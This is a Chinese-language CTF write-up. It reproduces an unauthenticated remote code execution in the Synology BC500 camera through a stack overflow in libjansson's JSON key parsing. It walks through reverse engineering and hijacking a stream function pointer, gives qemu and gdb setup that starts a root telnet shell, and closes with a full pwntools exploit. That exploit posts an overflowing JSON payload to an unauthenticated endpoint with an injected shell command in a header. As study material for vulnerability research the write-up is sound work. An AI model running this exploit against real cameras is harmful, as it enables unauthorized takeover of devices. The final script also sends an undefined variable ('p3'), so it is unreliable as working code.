2024 RWCTF群晖 BC500摄像头RCE--未授权+栈溢出

此漏洞是来自于一场Real Word CTF比赛真实环境下看到的,这里拿来复现一下,此溢出点要想溢出到返回地址是不可能的,这里介绍下劫持结构体,在结构体里控制执行流,漏洞点在libjansson.so.4.7.0里的parse_object,在json解析key造成了栈溢出,通过构造能够达到远程rce

RWCTF群晖 BC500摄像头RCE--未授权+栈溢出

此漏洞是来自于一场Real Word CTF比赛真实环境下看到的,这里拿来复现一下,此溢出点要想溢出到返回地址是不可能的,这里介绍下劫持结构体,在结构体里控制执行流,漏洞点在libjansson.so.4.7.0里的parse_object,在json解析key造成了栈溢出,通过构造能够达到远程rce,调用链子如下:

parse_object->parse_value->json_loads,而json_loads最终调用,我们来分析下,由于是CVE,具体编号不知道,所以这里直接找到漏洞位置 /lib/libjansson.so.4.7.0,我们进行逆向分析下,这里去符号表了,如果硬逆很难,但由于libjansson.so.4.7.0是开源项目,我们直接去github上去找下源码,结合起来分析,源码位置https://github.com/akheron/jansson,我们结合起来分析

由于ida去符号表了,所以我们使用定位关键字符串来找到位置NUL byte in object

然后就可以看到了漏洞位置

img

这里是由_isoc99_sscanf 进行的一个栈溢出,在解析key的时候对v9和v10造成了栈溢出,但这里调试是无法覆盖返回地址的,因为它会把key和value给覆盖掉,导致程序不能正常运行,所以这里结合源码分析,这里用vscode进行分析,把ida没有识别的函数给重命名下

img

通过源码,在ida重新命名了下

img

这里没法覆盖返回地址,那我们就去看下有没有可用的结构体,发现下面有个lex_scan函数,这里我们结合源码去看下,看看有没有可以用到的条件,发现在load.c里 在初始化各个函数的时候,前面已经把结构体定义好了,这样我们溢出的时候直接算好偏移溢出到对应结构体即可,我们看下这个结构体

img

这里发现是lex_scan的结构体,那么我们可以劫持stream_t的get_func get 函数指针为我们的恶意地址,这样就可以控制执行流,那这时候就有个疑问,那怎么可以知道劫持执行流了呢,我们看看都什么地方调用了stream->get

img

在stream_get处调用了,然后继续查看stream_get 在什么位置进行调用

img

lex_get lex_get_save都在调用,接着我们去看下在什么位置调用这两个函数

我们发现在lex_scan_string处调用了,lex_scan_string最终也会被lex_scan_string调用

img

在lex_scan处直接调用了lex_get,但这里需要满足条件才可以去执行

img

不过最终都会执行对应stream->get 来达到控制执行流的目的,整体分析下来已经知道了漏洞位置以及如何利用,下面我们就要看看什么地方可控可以来达到最终的利用,这里我们就来验证上面我们所说的链子,如何一步一步验证出来是这样调用的,我们用ida 交叉引用看到在sub_6EF4 也就是parse_value调用

img

我们继续看下parse_value在什么位置调用,通过搜索在parse_json有调用,接着看下parse_json在什么位置调用

img

parse_json在json_loads位置调用,那什么地方调用了json_loads,这个时候就需要回到题目文件系统里了

,grep -r “json_loads"

img

发现有很多binary 在调用,这里我们选择webd,因为它是个摄像头处理的主要文件webserver

我们ida逆向下,呜呜这里又去符号表了,真的难受啊呜呜只能硬逆了,不知道为啥我看看雪佬的文章都是没有去除的,这里我用ida都去除 了,只能自己重命名了,呜呜呜难受,这里首先找下handle_main处理函数

img

img

发现有个api接口,接口对应处理的是sub_35CEC, 这个函数主要处理后端不同的cgi请求处理,由于我们不知道前端账号密码,我们需要找到未授权,逆向下

img

发现没有执行路由会执行到/www/camera-cgi/synocam_param.cgi这个cgi,那我们就去扫描下目录,去看看有什么可以未授权的访问路径,这里用dirsearch,通过扫描发现/syno-api/security/info/mac可以调用

下面我们接着去分析下这个cgi,在start里找到了处理路由函数

img

在post里,发现传入的数据直接进到了sub_11624

img

sub_11624 直接调用了json_loads

img

最后的最后我们整体逆向和漏洞挖掘已经找到思路和利用手法,接下来我们就需要写脚本去执行调试就行了

这里写下环境搭建,题目会给个run.sh,我们改下run.sh

#!/bin/sh  
qemu-system-arm \\  
    \-m 1024 \\  
    \-M virt,highmem\=off \\  
    \-kernel zImage \\  
        \-initrd player.cpio \\  
    \-nic user,hostfwd\=tcp:0.0.0.0:8801-:80,hostfwd\=tcp:0.0.0.0:8802-:8802,hostfwd\=tcp:0.0.0.0:1234-:1234 \\  
    \-nographic  
~                        

映射80为本地8801 然后telnet为8802 gdb调试为1234

我们需要开启下里面 的telnet,这里直接在/etc/init.d/rcS,更改如下

#!/bin/sh  
\# source profile\_prjcfg on /etc/init.d/rcS (init script cycle) and /etc/profile (after startup cycle)  
source /etc/profile\_prjcfg  
telnetd \-p 9901 \-l /bin/sh  
​  
\# fstab devices create  
​  
mount \-a  
​  
echo "ker" > /proc/nvt\_info/bootts  
echo "rcS" > /proc/nvt\_info/bootts  
​  
\# To run /etc/init.d/S\* script  for initscript in /etc/init.d/S\[0-9\]\[0-9\]\*  
do  
    if \[ \-x $initscript \]; then  
        echo "\[Start\] $initscript"  
        $initscript  
    fi  
done  
​  
echo "rcS" > /proc/nvt\_info/bootts  
telnetd \-p 8802 \-l /bin/sh

如何我们要调试的话,把对应版本gdbserver 放到目录下,然后再打包find . | cpio -o --format=newc > ../player.cpio,就可以了

下步就是run.sh,然后gdb-multiarch webd

用telnet localhost 8802连接

ps 查看进程名

gdbserver :1234 --attach 进程号

接着执行如下命令

target remote :1234  
set follow-fork-mode parent  
catch fork  
c  
set follow-fork-mode child  
catch exec  
c

我们通过父进程创建子进程的方式去调试

执行完上面的步骤,并没有完全进到cgi里,这里vmmap查看cgi的基地址加上0x7464,下个断点,c下,这样就能完整加载出来libjansson了,最后我们直接把断点下到 parse_object 的scanf栈溢出位置

b *基地址+0x6BC4,然后继续C就可以调了,由于没有符号表硬调,发现stream->get在0xa4左右位置,那么就可以直接填冲到这个位置就行了,这里选着一个好用的gadget,劫持get为这个地址,这里地址需要\uxxx\uxxx\uxxx这样写,不然的话会报错

img

配合通过'$HTTP_A' 在下面定义个A:cat /flag > /www/index.html里 ,即可rce

完整的exp:

from pwn import *
context(arch='arm', os='linux', log_level='debug')
ip = '127.0.0.1'
port = 8801
r = remote(ip, port)
shell = b'$HTTP_A'
shell = shell.ljust(8, b';')

payload = b'a ' + b'b' * (0x60 + 0x24 - 8) + shell + b'\u005c\u004d\u0041'
json = b'{"' + payload + b'": ""}'
pay = b''
pay += b'POST /syno-api/security/info/mac HTTP/1.1' +  b'\r\n'
pay += (b"Content-Length: %d" % len(json)) + b'\r\n'
pay += b'A: cat /flag > /www/index.html' + b'\r\n'
pay += b'Accept: text/plain, */*; q=0.01' + b'\r\n'
pay += b'Content-Type: application/json' + b'\r\n'
pay += b'\r\n'
pay += json
r.send(p3)

r.interactive()

总结:通过这个题能学到很多实战上的技巧,感觉这些技巧大部分都可以通用,逆向的时候是累了点,但逆明白了还是很开心的,另我担忧的是如果实战没有开源项目,都是去符号表真的会G呜呜,只能通过gdb硬调了,没办法呜呜,继续加油吧,未来多复现这样的题或者CVE,累复现了两天呜呜

0 条评论

请先 登录 后评论